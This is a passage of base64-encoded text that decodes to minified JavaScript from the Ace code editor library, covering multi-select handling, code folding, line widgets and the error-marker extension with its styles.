VsZWN0Lm9uKCJyZW1vdmVSYW5nZSIsdGhpcy4kb25SZW1vdmVSYW5nZSksdC5tdWx0aVNlbGVjdC5vbigibXVsdGlTZWxlY3QiLHRoaXMuJG9uTXVsdGlTZWxlY3QpLHQubXVsdGlTZWxlY3Qub24oInNpbmdsZVNlbGVjdCIsdGhpcy4kb25TaW5nbGVTZWxlY3QpLHQubXVsdGlTZWxlY3QubGVhZC5vbigiY2hhbmdlIix0aGlzLiRjaGVja011bHRpc2VsZWN0Q2hhbmdlKSx0Lm11bHRpU2VsZWN0LmFuY2hvci5vbigiY2hhbmdlIix0aGlzLiRjaGVja011bHRpc2VsZWN0Q2hhbmdlKSksdCYmdGhpcy5pbk11bHRpU2VsZWN0TW9kZSE9dC5zZWxlY3Rpb24uaW5NdWx0aVNlbGVjdE1vZGUmJih0LnNlbGVjdGlvbi5pbk11bHRpU2VsZWN0TW9kZT90aGlzLiRvbk11bHRpU2VsZWN0KCk6dGhpcy4kb25TaW5nbGVTZWxlY3QoKSl9LHQuTXVsdGlTZWxlY3Q9bSxlKCIuL2NvbmZpZyIpLmRlZmluZU9wdGlvbnMoZC5wcm90b3R5cGUsImVkaXRvciIse2VuYWJsZU11bHRpc2VsZWN0OntzZXQ6ZnVuY3Rpb24oZSl7bSh0aGlzKSxlPyh0aGlzLm9uKCJjaGFuZ2VTZXNzaW9uIix0aGlzLiRtdWx0aXNlbGVjdE9uU2Vzc2lvbkNoYW5nZSksdGhpcy5vbigibW91c2Vkb3duIixvKSk6KHRoaXMub2ZmKCJjaGFuZ2VTZXNzaW9uIix0aGlzLiRtdWx0aXNlbGVjdE9uU2Vzc2lvbkNoYW5nZSksdGhpcy5vZmYoIm1vdXNlZG93biIsbykpfSx2YWx1ZTohMH0sZW5hYmxlQmxvY2tTZWxlY3Q6e3NldDpmdW5jdGlvbihlKXt0aGlzLiRibG9ja1NlbGVjdEVuYWJsZWQ9ZX0sdmFsdWU6ITB9fSl9KSxkZWZpbmUoImFjZS9tb2RlL2ZvbGRpbmcvZm9sZF9tb2RlIixbInJlcXVpcmUiLCJleHBvcnRzIiwibW9kdWxlIiwiYWNlL3JhbmdlIl0sZnVuY3Rpb24oZSx0LG4peyJ1c2Ugc3RyaWN0Ijt2YXIgcj1lKCIuLi8uLi9yYW5nZSIpLlJhbmdlLGk9dC5Gb2xkTW9kZT1mdW5jdGlvbigpe307KGZ1bmN0aW9uKCl7dGhpcy5mb2xkaW5nU3RhcnRNYXJrZXI9bnVsbCx0aGlzLmZvbGRpbmdTdG9wTWFya2VyPW51bGwsdGhpcy5nZXRGb2xkV2lkZ2V0PWZ1bmN0aW9uKGUsdCxuKXt2YXIgcj1lLmdldExpbmUobik7cmV0dXJuIHRoaXMuZm9sZGluZ1N0YXJ0TWFya2VyLnRlc3Qocik/InN0YXJ0Ijp0PT0ibWFya2JlZ2luZW5kIiYmdGhpcy5mb2xkaW5nU3RvcE1hcmtlciYmdGhpcy5mb2xkaW5nU3RvcE1hcmtlci50ZXN0KHIpPyJlbmQiOiIifSx0aGlzLmdldEZvbGRXaWRnZXRSYW5nZT1mdW5jdGlvbihlLHQsbil7cmV0dXJuIG51bGx9LHRoaXMuaW5kZW50YXRpb25CbG9jaz1mdW5jdGlvbihlLHQsbil7dmFyIGk9L1xTLyxzPWUuZ2V0TGluZSh0KSxvPXMuc2VhcmNoKGkpO2lmKG89PS0xKXJldHVybjt2YXIgdT1ufHxzLmxlbmd0aCxhPWUuZ2V0TGVuZ3RoKCksZj10LGw9dDt3aGlsZSgrK3Q8YSl7dmFyIGM9ZS5nZXRMaW5lKHQpLnNlYXJjaChpKTtpZihjPT0tMSljb250aW51ZTtpZihjPD1vKXt2YXIgaD1lLmdldFRva2VuQXQodCwwKTtpZighaHx8aC50eXBlIT09InN0cmluZyIpYnJlYWt9bD10fWlmKGw+Zil7dmFyIHA9ZS5nZXRMaW5lKGwpLmxlbmd0aDtyZXR1cm4gbmV3IHIoZix1LGwscCl9fSx0aGlzLm9wZW5pbmdCcmFja2V0QmxvY2s9ZnVuY3Rpb24oZSx0LG4saSxzKXt2YXIgbz17cm93Om4sY29sdW1uOmkrMX0sdT1lLiRmaW5kQ2xvc2luZ0JyYWNrZXQodCxvLHMpO2lmKCF1KXJldHVybjt2YXIgYT1lLmZvbGRXaWRnZXRzW3Uucm93XTtyZXR1cm4gYT09bnVsbCYmKGE9ZS5nZXRGb2xkV2lkZ2V0KHUucm93KSksYT09InN0YXJ0IiYmdS5yb3c+by5yb3cmJih1LnJvdy0tLHUuY29sdW1uPWUuZ2V0TGluZSh1LnJvdykubGVuZ3RoKSxyLmZyb21Qb2ludHMobyx1KX0sdGhpcy5jbG9zaW5nQnJhY2tldEJsb2NrPWZ1bmN0aW9uKGUsdCxuLGkscyl7dmFyIG89e3JvdzpuLGNvbHVtbjppfSx1PWUuJGZpbmRPcGVuaW5nQnJhY2tldCh0LG8pO2lmKCF1KXJldHVybjtyZXR1cm4gdS5jb2x1bW4rKyxvLmNvbHVtbi0tLHIuZnJvbVBvaW50cyh1LG8pfX0pLmNhbGwoaS5wcm90b3R5cGUpfSksZGVmaW5lKCJhY2UvbGluZV93aWRnZXRzIixbInJlcXVpcmUiLCJleHBvcnRzIiwibW9kdWxlIiwiYWNlL2xpYi9kb20iXSxmdW5jdGlvbihlLHQsbil7InVzZSBzdHJpY3QiO2Z1bmN0aW9uIGkoZSl7dGhpcy5zZXNzaW9uPWUsdGhpcy5zZXNzaW9uLndpZGdldE1hbmFnZXI9dGhpcyx0aGlzLnNlc3Npb24uZ2V0Um93TGVuZ3RoPXRoaXMuZ2V0Um93TGVuZ3RoLHRoaXMuc2Vzc2lvbi4kZ2V0V2lkZ2V0U2NyZWVuTGVuZ3RoPXRoaXMuJGdldFdpZGdldFNjcmVlbkxlbmd0aCx0aGlzLnVwZGF0ZU9uQ2hhbmdlPXRoaXMudXBkYXRlT25DaGFuZ2UuYmluZCh0aGlzKSx0aGlzLnJlbmRlcldpZGdldHM9dGhpcy5yZW5kZXJXaWRnZXRzLmJpbmQodGhpcyksdGhpcy5tZWFzdXJlV2lkZ2V0cz10aGlzLm1lYXN1cmVXaWRnZXRzLmJpbmQodGhpcyksdGhpcy5zZXNzaW9uLl9jaGFuZ2VkV2lkZ2V0cz1bXSx0aGlzLiRvbkNoYW5nZUVkaXRvcj10aGlzLiRvbkNoYW5nZUVkaXRvci5iaW5kKHRoaXMpLHRoaXMuc2Vzc2lvbi5vbigiY2hhbmdlIix0aGlzLnVwZGF0ZU9uQ2hhbmdlKSx0aGlzLnNlc3Npb24ub24oImNoYW5nZUZvbGQiLHRoaXMudXBkYXRlT25Gb2xkKSx0aGlzLnNlc3Npb24ub24oImNoYW5nZUVkaXRvciIsdGhpcy4kb25DaGFuZ2VFZGl0b3IpfXZhciByPWUoIi4vbGliL2RvbSIpOyhmdW5jdGlvbigpe3RoaXMuZ2V0Um93TGVuZ3RoPWZ1bmN0aW9uKGUpe3ZhciB0O3JldHVybiB0aGlzLmxpbmVXaWRnZXRzP3Q9dGhpcy5saW5lV2lkZ2V0c1tlXSYmdGhpcy5saW5lV2lkZ2V0c1tlXS5yb3dDb3VudHx8MDp0PTAsIXRoaXMuJHVzZVdyYXBNb2RlfHwhdGhpcy4kd3JhcERhdGFbZV0/MSt0OnRoaXMuJHdyYXBEYXRhW2VdLmxlbmd0aCsxK3R9LHRoaXMuJGdldFdpZGdldFNjcmVlbkxlbmd0aD1mdW5jdGlvbigpe3ZhciBlPTA7cmV0dXJuIHRoaXMubGluZVdpZGdldHMuZm9yRWFjaChmdW5jdGlvbih0KXt0JiZ0LnJvd0NvdW50JiYhdC5oaWRkZW4mJihlKz10LnJvd0NvdW50KX0pLGV9LHRoaXMuJG9uQ2hhbmdlRWRpdG9yPWZ1bmN0aW9uKGUpe3RoaXMuYXR0YWNoKGUuZWRpdG9yKX0sdGhpcy5hdHRhY2g9ZnVuY3Rpb24oZSl7ZSYmZS53aWRnZXRNYW5hZ2VyJiZlLndpZGdldE1hbmFnZXIhPXRoaXMmJmUud2lkZ2V0TWFuYWdlci5kZXRhY2goKTtpZih0aGlzLmVkaXRvcj09ZSlyZXR1cm47dGhpcy5kZXRhY2goKSx0aGlzLmVkaXRvcj1lLGUmJihlLndpZGdldE1hbmFnZXI9dGhpcyxlLnJlbmRlcmVyLm9uKCJiZWZvcmVSZW5kZXIiLHRoaXMubWVhc3VyZVdpZGdldHMpLGUucmVuZGVyZXIub24oImFmdGVyUmVuZGVyIix0aGlzLnJlbmRlcldpZGdldHMpKX0sdGhpcy5kZXRhY2g9ZnVuY3Rpb24oZSl7dmFyIHQ9dGhpcy5lZGl0b3I7aWYoIXQpcmV0dXJuO3RoaXMuZWRpdG9yPW51bGwsdC53aWRnZXRNYW5hZ2VyPW51bGwsdC5yZW5kZXJlci5vZmYoImJlZm9yZVJlbmRlciIsdGhpcy5tZWFzdXJlV2lkZ2V0cyksdC5yZW5kZXJlci5vZmYoImFmdGVyUmVuZGVyIix0aGlzLnJlbmRlcldpZGdldHMpO3ZhciBuPXRoaXMuc2Vzc2lvbi5saW5lV2lkZ2V0cztuJiZuLmZvckVhY2goZnVuY3Rpb24oZSl7ZSYmZS5lbCYmZS5lbC5wYXJlbnROb2RlJiYoZS5faW5Eb2N1bWVudD0hMSxlLmVsLnBhcmVudE5vZGUucmVtb3ZlQ2hpbGQoZS5lbCkpfSl9LHRoaXMudXBkYXRlT25Gb2xkPWZ1bmN0aW9uKGUsdCl7dmFyIG49dC5saW5lV2lkZ2V0cztpZighbnx8IWUuYWN0aW9uKXJldHVybjt2YXIgcj1lLmRhdGEsaT1yLnN0YXJ0LnJvdyxzPXIuZW5kLnJvdyxvPWUuYWN0aW9uPT0iYWRkIjtmb3IodmFyIHU9aSsxO3U8czt1Kyspblt1XSYmKG5bdV0uaGlkZGVuPW8pO25bc10mJihvP25baV0/bltzXS5oaWRkZW49bzpuW2ldPW5bc106KG5baV09PW5bc10mJihuW2ldPXVuZGVmaW5lZCksbltzXS5oaWRkZW49bykpfSx0aGlzLnVwZGF0ZU9uQ2hhbmdlPWZ1bmN0aW9uKGUpe3ZhciB0PXRoaXMuc2Vzc2lvbi5saW5lV2lkZ2V0cztpZighdClyZXR1cm47dmFyIG49ZS5zdGFydC5yb3cscj1lLmVuZC5yb3ctbjtpZihyIT09MClpZihlLmFjdGlvbj09InJlbW92ZSIpe3ZhciBpPXQuc3BsaWNlKG4rMSxyKTshdFtuXSYmaVtpLmxlbmd0aC0xXSYmKHRbbl09aS5wb3AoKSksaS5mb3JFYWNoKGZ1bmN0aW9uKGUpe2UmJnRoaXMucmVtb3ZlTGluZVdpZGdldChlKX0sdGhpcyksdGhpcy4kdXBkYXRlUm93cygpfWVsc2V7dmFyIHM9bmV3IEFycmF5KHIpO3Rbbl0mJnRbbl0uY29sdW1uIT1udWxsJiZlLnN0YXJ0LmNvbHVtbj50W25dLmNvbHVtbiYmbisrLHMudW5zaGlmdChuLDApLHQuc3BsaWNlLmFwcGx5KHQscyksdGhpcy4kdXBkYXRlUm93cygpfX0sdGhpcy4kdXBkYXRlUm93cz1mdW5jdGlvbigpe3ZhciBlPXRoaXMuc2Vzc2lvbi5saW5lV2lkZ2V0cztpZighZSlyZXR1cm47dmFyIHQ9ITA7ZS5mb3JFYWNoKGZ1bmN0aW9uKGUsbil7aWYoZSl7dD0hMSxlLnJvdz1uO3doaWxlKGUuJG9sZFdpZGdldCllLiRvbGRXaWRnZXQucm93PW4sZT1lLiRvbGRXaWRnZXR9fSksdCYmKHRoaXMuc2Vzc2lvbi5saW5lV2lkZ2V0cz1udWxsKX0sdGhpcy4kcmVnaXN0ZXJMaW5lV2lkZ2V0PWZ1bmN0aW9uKGUpe3RoaXMuc2Vzc2lvbi5saW5lV2lkZ2V0c3x8KHRoaXMuc2Vzc2lvbi5saW5lV2lkZ2V0cz1uZXcgQXJyYXkodGhpcy5zZXNzaW9uLmdldExlbmd0aCgpKSk7dmFyIHQ9dGhpcy5zZXNzaW9uLmxpbmVXaWRnZXRzW2Uucm93XTtyZXR1cm4gdCYmKGUuJG9sZFdpZGdldD10LHQuZWwmJnQuZWwucGFyZW50Tm9kZSYmKHQuZWwucGFyZW50Tm9kZS5yZW1vdmVDaGlsZCh0LmVsKSx0Ll9pbkRvY3VtZW50PSExKSksdGhpcy5zZXNzaW9uLmxpbmVXaWRnZXRzW2Uucm93XT1lLGV9LHRoaXMuYWRkTGluZVdpZGdldD1mdW5jdGlvbihlKXt0aGlzLiRyZWdpc3RlckxpbmVXaWRnZXQoZSksZS5zZXNzaW9uPXRoaXMuc2Vzc2lvbjtpZighdGhpcy5lZGl0b3IpcmV0dXJuIGU7dmFyIHQ9dGhpcy5lZGl0b3IucmVuZGVyZXI7ZS5odG1sJiYhZS5lbCYmKGUuZWw9ci5jcmVhdGVFbGVtZW50KCJkaXYiKSxlLmVsLmlubmVySFRNTD1lLmh0bWwpLGUuZWwmJihyLmFkZENzc0NsYXNzKGUuZWwsImFjZV9saW5lV2lkZ2V0Q29udGFpbmVyIiksZS5lbC5zdHlsZS5wb3NpdGlvbj0iYWJzb2x1dGUiLGUuZWwuc3R5bGUuekluZGV4PTUsdC5jb250YWluZXIuYXBwZW5kQ2hpbGQoZS5lbCksZS5faW5Eb2N1bWVudD0hMCxlLmNvdmVyR3V0dGVyfHwoZS5lbC5zdHlsZS56SW5kZXg9MyksZS5waXhlbEhlaWdodD09bnVsbCYmKGUucGl4ZWxIZWlnaHQ9ZS5lbC5vZmZzZXRIZWlnaHQpKSxlLnJvd0NvdW50PT1udWxsJiYoZS5yb3dDb3VudD1lLnBpeGVsSGVpZ2h0L3QubGF5ZXJDb25maWcubGluZUhlaWdodCk7dmFyIG49dGhpcy5zZXNzaW9uLmdldEZvbGRBdChlLnJvdywwKTtlLiRmb2xkPW47aWYobil7dmFyIGk9dGhpcy5zZXNzaW9uLmxpbmVXaWRnZXRzO2Uucm93PT1uLmVuZC5yb3cmJiFpW24uc3RhcnQucm93XT9pW24uc3RhcnQucm93XT1lOmUuaGlkZGVuPSEwfXJldHVybiB0aGlzLnNlc3Npb24uX2VtaXQoImNoYW5nZUZvbGQiLHtkYXRhOntzdGFydDp7cm93OmUucm93fX19KSx0aGlzLiR1cGRhdGVSb3dzKCksdGhpcy5yZW5kZXJXaWRnZXRzKG51bGwsdCksdGhpcy5vbldpZGdldENoYW5nZWQoZSksZX0sdGhpcy5yZW1vdmVMaW5lV2lkZ2V0PWZ1bmN0aW9uKGUpe2UuX2luRG9jdW1lbnQ9ITEsZS5zZXNzaW9uPW51bGwsZS5lbCYmZS5lbC5wYXJlbnROb2RlJiZlLmVsLnBhcmVudE5vZGUucmVtb3ZlQ2hpbGQoZS5lbCk7aWYoZS5lZGl0b3ImJmUuZWRpdG9yLmRlc3Ryb3kpdHJ5e2UuZWRpdG9yLmRlc3Ryb3koKX1jYXRjaCh0KXt9aWYodGhpcy5zZXNzaW9uLmxpbmVXaWRnZXRzKXt2YXIgbj10aGlzLnNlc3Npb24ubGluZVdpZGdldHNbZS5yb3ddO2lmKG49PWUpdGhpcy5zZXNzaW9uLmxpbmVXaWRnZXRzW2Uucm93XT1lLiRvbGRXaWRnZXQsZS4kb2xkV2lkZ2V0JiZ0aGlzLm9uV2lkZ2V0Q2hhbmdlZChlLiRvbGRXaWRnZXQpO2Vsc2Ugd2hpbGUobil7aWYobi4kb2xkV2lkZ2V0PT1lKXtuLiRvbGRXaWRnZXQ9ZS4kb2xkV2lkZ2V0O2JyZWFrfW49bi4kb2xkV2lkZ2V0fX10aGlzLnNlc3Npb24uX2VtaXQoImNoYW5nZUZvbGQiLHtkYXRhOntzdGFydDp7cm93OmUucm93fX19KSx0aGlzLiR1cGRhdGVSb3dzKCl9LHRoaXMuZ2V0V2lkZ2V0c0F0Um93PWZ1bmN0aW9uKGUpe3ZhciB0PXRoaXMuc2Vzc2lvbi5saW5lV2lkZ2V0cyxuPXQmJnRbZV0scj1bXTt3aGlsZShuKXIucHVzaChuKSxuPW4uJG9sZFdpZGdldDtyZXR1cm4gcn0sdGhpcy5vbldpZGdldENoYW5nZWQ9ZnVuY3Rpb24oZSl7dGhpcy5zZXNzaW9uLl9jaGFuZ2VkV2lkZ2V0cy5wdXNoKGUpLHRoaXMuZWRpdG9yJiZ0aGlzLmVkaXRvci5yZW5kZXJlci51cGRhdGVGdWxsKCl9LHRoaXMubWVhc3VyZVdpZGdldHM9ZnVuY3Rpb24oZSx0KXt2YXIgbj10aGlzLnNlc3Npb24uX2NoYW5nZWRXaWRnZXRzLHI9dC5sYXllckNvbmZpZztpZighbnx8IW4ubGVuZ3RoKXJldHVybjt2YXIgaT1JbmZpbml0eTtmb3IodmFyIHM9MDtzPG4ubGVuZ3RoO3MrKyl7dmFyIG89bltzXTtpZighb3x8IW8uZWwpY29udGludWU7aWYoby5zZXNzaW9uIT10aGlzLnNlc3Npb24pY29udGludWU7aWYoIW8uX2luRG9jdW1lbnQpe2lmKHRoaXMuc2Vzc2lvbi5saW5lV2lkZ2V0c1tvLnJvd10hPW8pY29udGludWU7by5faW5Eb2N1bWVudD0hMCx0LmNvbnRhaW5lci5hcHBlbmRDaGlsZChvLmVsKX1vLmg9by5lbC5vZmZzZXRIZWlnaHQsby5maXhlZFdpZHRofHwoby53PW8uZWwub2Zmc2V0V2lkdGgsby5zY3JlZW5XaWR0aD1NYXRoLmNlaWwoby53L3IuY2hhcmFjdGVyV2lkdGgpKTt2YXIgdT1vLmgvci5saW5lSGVpZ2h0O28uY292ZXJMaW5lJiYodS09dGhpcy5zZXNzaW9uLmdldFJvd0xpbmVDb3VudChvLnJvdyksdTwwJiYodT0wKSksby5yb3dDb3VudCE9dSYmKG8ucm93Q291bnQ9dSxvLnJvdzxpJiYoaT1vLnJvdykpfWkhPUluZmluaXR5JiYodGhpcy5zZXNzaW9uLl9lbWl0KCJjaGFuZ2VGb2xkIix7ZGF0YTp7c3RhcnQ6e3JvdzppfX19KSx0aGlzLnNlc3Npb24ubGluZVdpZGdldFdpZHRoPW51bGwpLHRoaXMuc2Vzc2lvbi5fY2hhbmdlZFdpZGdldHM9W119LHRoaXMucmVuZGVyV2lkZ2V0cz1mdW5jdGlvbihlLHQpe3ZhciBuPXQubGF5ZXJDb25maWcscj10aGlzLnNlc3Npb24ubGluZVdpZGdldHM7aWYoIXIpcmV0dXJuO3ZhciBpPU1hdGgubWluKHRoaXMuZmlyc3RSb3csbi5maXJzdFJvdykscz1NYXRoLm1heCh0aGlzLmxhc3RSb3csbi5sYXN0Um93LHIubGVuZ3RoKTt3aGlsZShpPjAmJiFyW2ldKWktLTt0aGlzLmZpcnN0Um93PW4uZmlyc3RSb3csdGhpcy5sYXN0Um93PW4ubGFzdFJvdyx0LiRjdXJzb3JMYXllci5jb25maWc9bjtmb3IodmFyIG89aTtvPD1zO28rKyl7dmFyIHU9cltvXTtpZighdXx8IXUuZWwpY29udGludWU7aWYodS5oaWRkZW4pe3UuZWwuc3R5bGUudG9wPS0xMDAtKHUucGl4ZWxIZWlnaHR8fDApKyJweCI7Y29udGludWV9dS5faW5Eb2N1bWVudHx8KHUuX2luRG9jdW1lbnQ9ITAsdC5jb250YWluZXIuYXBwZW5kQ2hpbGQodS5lbCkpO3ZhciBhPXQuJGN1cnNvckxheWVyLmdldFBpeGVsUG9zaXRpb24oe3JvdzpvLGNvbHVtbjowfSwhMCkudG9wO3UuY292ZXJMaW5lfHwoYSs9bi5saW5lSGVpZ2h0KnRoaXMuc2Vzc2lvbi5nZXRSb3dMaW5lQ291bnQodS5yb3cpKSx1LmVsLnN0eWxlLnRvcD1hLW4ub2Zmc2V0KyJweCI7dmFyIGY9dS5jb3Zlckd1dHRlcj8wOnQuZ3V0dGVyV2lkdGg7dS5maXhlZFdpZHRofHwoZi09dC5zY3JvbGxMZWZ0KSx1LmVsLnN0eWxlLmxlZnQ9ZisicHgiLHUuZnVsbFdpZHRoJiZ1LnNjcmVlbldpZHRoJiYodS5lbC5zdHlsZS5taW5XaWR0aD1uLndpZHRoKzIqbi5wYWRkaW5nKyJweCIpLHUuZml4ZWRXaWR0aD91LmVsLnN0eWxlLnJpZ2h0PXQuc2Nyb2xsQmFyLmdldFdpZHRoKCkrInB4Ijp1LmVsLnN0eWxlLnJpZ2h0PSIifX19KS5jYWxsKGkucHJvdG90eXBlKSx0LkxpbmVXaWRnZXRzPWl9KSxkZWZpbmUoImFjZS9leHQvZXJyb3JfbWFya2VyIixbInJlcXVpcmUiLCJleHBvcnRzIiwibW9kdWxlIiwiYWNlL2xpbmVfd2lkZ2V0cyIsImFjZS9saWIvZG9tIiwiYWNlL3JhbmdlIl0sZnVuY3Rpb24oZSx0LG4peyJ1c2Ugc3RyaWN0IjtmdW5jdGlvbiBvKGUsdCxuKXt2YXIgcj0wLGk9ZS5sZW5ndGgtMTt3aGlsZShyPD1pKXt2YXIgcz1yK2k+PjEsbz1uKHQsZVtzXSk7aWYobz4wKXI9cysxO2Vsc2V7aWYoIShvPDApKXJldHVybiBzO2k9cy0xfX1yZXR1cm4tKHIrMSl9ZnVuY3Rpb24gdShlLHQsbil7dmFyIHI9ZS5nZXRBbm5vdGF0aW9ucygpLnNvcnQocy5jb21wYXJlUG9pbnRzKTtpZighci5sZW5ndGgpcmV0dXJuO3ZhciBpPW8ocix7cm93OnQsY29sdW1uOi0xfSxzLmNvbXBhcmVQb2ludHMpO2k8MCYmKGk9LWktMSksaT49ci5sZW5ndGg/aT1uPjA/MDpyLmxlbmd0aC0xOmk9PT0wJiZuPDAmJihpPXIubGVuZ3RoLTEpO3ZhciB1PXJbaV07aWYoIXV8fCFuKXJldHVybjtpZih1LnJvdz09PXQpe2RvIHU9cltpKz1uXTt3aGlsZSh1JiZ1LnJvdz09PXQpO2lmKCF1KXJldHVybiByLnNsaWNlKCl9dmFyIGE9W107dD11LnJvdztkbyBhW248MD8idW5zaGlmdCI6InB1c2giXSh1KSx1PXJbaSs9bl07d2hpbGUodSYmdS5yb3c9PXQpO3JldHVybiBhLmxlbmd0aCYmYX12YXIgcj1lKCIuLi9saW5lX3dpZGdldHMiKS5MaW5lV2lkZ2V0cyxpPWUoIi4uL2xpYi9kb20iKSxzPWUoIi4uL3JhbmdlIikuUmFuZ2U7dC5zaG93RXJyb3JNYXJrZXI9ZnVuY3Rpb24oZSx0KXt2YXIgbj1lLnNlc3Npb247bi53aWRnZXRNYW5hZ2VyfHwobi53aWRnZXRNYW5hZ2VyPW5ldyByKG4pLG4ud2lkZ2V0TWFuYWdlci5hdHRhY2goZSkpO3ZhciBzPWUuZ2V0Q3Vyc29yUG9zaXRpb24oKSxvPXMucm93LGE9bi53aWRnZXRNYW5hZ2VyLmdldFdpZGdldHNBdFJvdyhvKS5maWx0ZXIoZnVuY3Rpb24oZSl7cmV0dXJuIGUudHlwZT09ImVycm9yTWFya2VyIn0pWzBdO2E/YS5kZXN0cm95KCk6by09dDt2YXIgZj11KG4sbyx0KSxsO2lmKGYpe3ZhciBjPWZbMF07cy5jb2x1bW49KGMucG9zJiZ0eXBlb2YgYy5jb2x1bW4hPSJudW1iZXIiP2MucG9zLnNjOmMuY29sdW1uKXx8MCxzLnJvdz1jLnJvdyxsPWUucmVuZGVyZXIuJGd1dHRlckxheWVyLiRhbm5vdGF0aW9uc1tzLnJvd119ZWxzZXtpZihhKXJldHVybjtsPXt0ZXh0OlsiTG9va3MgZ29vZCEiXSxjbGFzc05hbWU6ImFjZV9vayJ9fWUuc2Vzc2lvbi51bmZvbGQocy5yb3cpLGUuc2VsZWN0aW9uLm1vdmVUb1Bvc2l0aW9uKHMpO3ZhciBoPXtyb3c6cy5yb3csZml4ZWRXaWR0aDohMCxjb3Zlckd1dHRlcjohMCxlbDppLmNyZWF0ZUVsZW1lbnQoImRpdiIpLHR5cGU6ImVycm9yTWFya2VyIn0scD1oLmVsLmFwcGVuZENoaWxkKGkuY3JlYXRlRWxlbWVudCgiZGl2IikpLGQ9aC5lbC5hcHBlbmRDaGlsZChpLmNyZWF0ZUVsZW1lbnQoImRpdiIpKTtkLmNsYXNzTmFtZT0iZXJyb3Jfd2lkZ2V0X2Fycm93ICIrbC5jbGFzc05hbWU7dmFyIHY9ZS5yZW5kZXJlci4kY3Vyc29yTGF5ZXIuZ2V0UGl4ZWxQb3NpdGlvbihzKS5sZWZ0O2Quc3R5bGUubGVmdD12K2UucmVuZGVyZXIuZ3V0dGVyV2lkdGgtNSsicHgiLGguZWwuY2xhc3NOYW1lPSJlcnJvcl93aWRnZXRfd3JhcHBlciIscC5jbGFzc05hbWU9ImVycm9yX3dpZGdldCAiK2wuY2xhc3NOYW1lLHAuaW5uZXJIVE1MPWwudGV4dC5qb2luKCI8YnI+IikscC5hcHBlbmRDaGlsZChpLmNyZWF0ZUVsZW1lbnQoImRpdiIpKTt2YXIgbT1mdW5jdGlvbihlLHQsbil7aWYodD09PTAmJihuPT09ImVzYyJ8fG49PT0icmV0dXJuIikpcmV0dXJuIGguZGVzdHJveSgpLHtjb21tYW5kOiJudWxsIn19O2guZGVzdHJveT1mdW5jdGlvbigpe2lmKGUuJG1vdXNlSGFuZGxlci5pc01vdXNlUHJlc3NlZClyZXR1cm47ZS5rZXlCaW5kaW5nLnJlbW92ZUtleWJvYXJkSGFuZGxlcihtKSxuLndpZGdldE1hbmFnZXIucmVtb3ZlTGluZVdpZGdldChoKSxlLm9mZigiY2hhbmdlU2VsZWN0aW9uIixoLmRlc3Ryb3kpLGUub2ZmKCJjaGFuZ2VTZXNzaW9uIixoLmRlc3Ryb3kpLGUub2ZmKCJtb3VzZXVwIixoLmRlc3Ryb3kpLGUub2ZmKCJjaGFuZ2UiLGguZGVzdHJveSl9LGUua2V5QmluZGluZy5hZGRLZXlib2FyZEhhbmRsZXIobSksZS5vbigiY2hhbmdlU2VsZWN0aW9uIixoLmRlc3Ryb3kpLGUub24oImNoYW5nZVNlc3Npb24iLGguZGVzdHJveSksZS5vbigibW91c2V1cCIsaC5kZXN0cm95KSxlLm9uKCJjaGFuZ2UiLGguZGVzdHJveSksZS5zZXNzaW9uLndpZGdldE1hbmFnZXIuYWRkTGluZVdpZGdldChoKSxoLmVsLm9ubW91c2Vkb3duPWUuZm9jdXMuYmluZChlKSxlLnJlbmRlcmVyLnNjcm9sbEN1cnNvckludG9WaWV3KG51bGwsLjUse2JvdHRvbTpoLmVsLm9mZnNldEhlaWdodH0pfSxpLmltcG9ydENzc1N0cmluZygiXG4gICAgLmVycm9yX3dpZGdldF93cmFwcGVyIHtcbiAgICAgICAgYmFja2dyb3VuZDogaW5oZXJpdDtcbiAgICAgICAgY29sb3I6IGluaGVyaXQ7XG4gICAgICAgIGJvcmRlcjpub25lXG4gICAgfVxuICAgIC5lcnJvcl93aWRnZXQge1xuICAgICAgICBib3JkZXItdG9wOiBzb2xpZCAycHg7XG4gICAgICAgIGJvcmRlci1ib3R0b206IHNvbGlkIDJweDtcbiAgICAgICAgbWFyZ2luOiA1cHggMDtcbiAgICAgICAgcGFkZGluZzogMTBweCA0MHB4O1xuICAgICAgICB3aGl0ZS1zcGFjZTogcHJlLXdyYXA7XG4gICAgfVxuICAgIC5lcnJvcl93aWRnZXQuYWNlX2Vycm9yLCAuZXJyb3Jfd2lkZ2V0X2Fycm93LmFjZV9lcnJvcntcbiAgICAgICAgYm9yZGVyLWNvbG9yOiAjZmY1YTVhXG4gICAgfVxuICAgIC5lcnJvcl93aWRnZXQuYWNlX3dhcm5pbmcsIC5lcnJvcl93aWRnZXRfYXJyb3cuYWNlX3dhcm5pbmd7XG4gICAgICAgIGJvcmRlci1jb2xvcjogI0YxRDgxN1xuICAgIH1cbiAgICAuZXJyb3Jfd2lkZ2V0LmFjZV9pbmZvLCAuZXJyb3Jfd2lkZ2V0X2Fycm93LmFjZV9pbmZve1xuICAgICAgICBib3JkZXItY29sb3I6ICM1YTVhNWFcbiAgICB9XG4gICAgLmVycm9yX3dpZGdldC5hY2Vfb2ssIC5lcnJvcl93aWRnZXRfYXJyb3cuYWNlX29re1xuICAgICAgICBib3JkZXItY29sb3I6ICM1YWFhNWFcbiAgICB9XG4gICAgLmVycm9yX3dpZGdldF9hcnJvdyB7XG4gICAgICAgIHBvc2l0aW9uOiBhYnNvbHV0ZTtcbiAgICAgICAgYm9yZGVyOiBzb2xpZCA1cHg7XG4gICAgICAgIGJvcmRlci10b3AtY29sb3I6IHRyYW5zcGFyZW50IWltcG9ydGFudDtcbiAgICAgICAgYm9yZGVyLXJpZ2h0LWNvbG9yOiB0cmFuc3BhcmVudCFpbXBvcnRhbnQ7XG4gICAgICAgIGJvcmRlci1sZWZ0LWNvbG9yOiB0cmFuc3BhcmVudCFpbXBvcnRhbnQ7XG4gICAgICAgIHRvcDogLTVweDtcbiAgICB9XG4iLCJlcnJvcl9tYXJrZXIuY3NzIiwhMSl9KSxkZWZpbmUoImFjZS9hY2UiLFsicmVxdWlyZSIsImV4cG9ydHMiLCJtb2R1bGUiLCJhY2UvbGliL2RvbSIsImFjZS9saWIvZXZlbnQiLCJhY2UvcmFuZ2UiLCJhY2UvZWRpdG9yIiwiYWNlL2VkaXRfc2Vzc2lvbiIsImFjZS91bmRvbWFuYWdlciIsImFjZS92aXJ0dWFsX3JlbmRlcmVyIiwiYWNlL3dvcmtlci93b3JrZXJfY2xpZW50IiwiYWNlL2tleWJvYXJkL2hhc2hfaGFuZGxlciIsImFjZS9wbGFjZWhvbGRlciIsImFjZS9tdWx0aV9zZWxlY3QiLCJhY2UvbW9kZS9mb2xkaW5nL2ZvbGRfbW9kZSIsImFjZS90aGVtZS90ZXh0bWF0ZSIsImFjZS9leHQvZXJyb3JfbWFya2VyIiwiYWN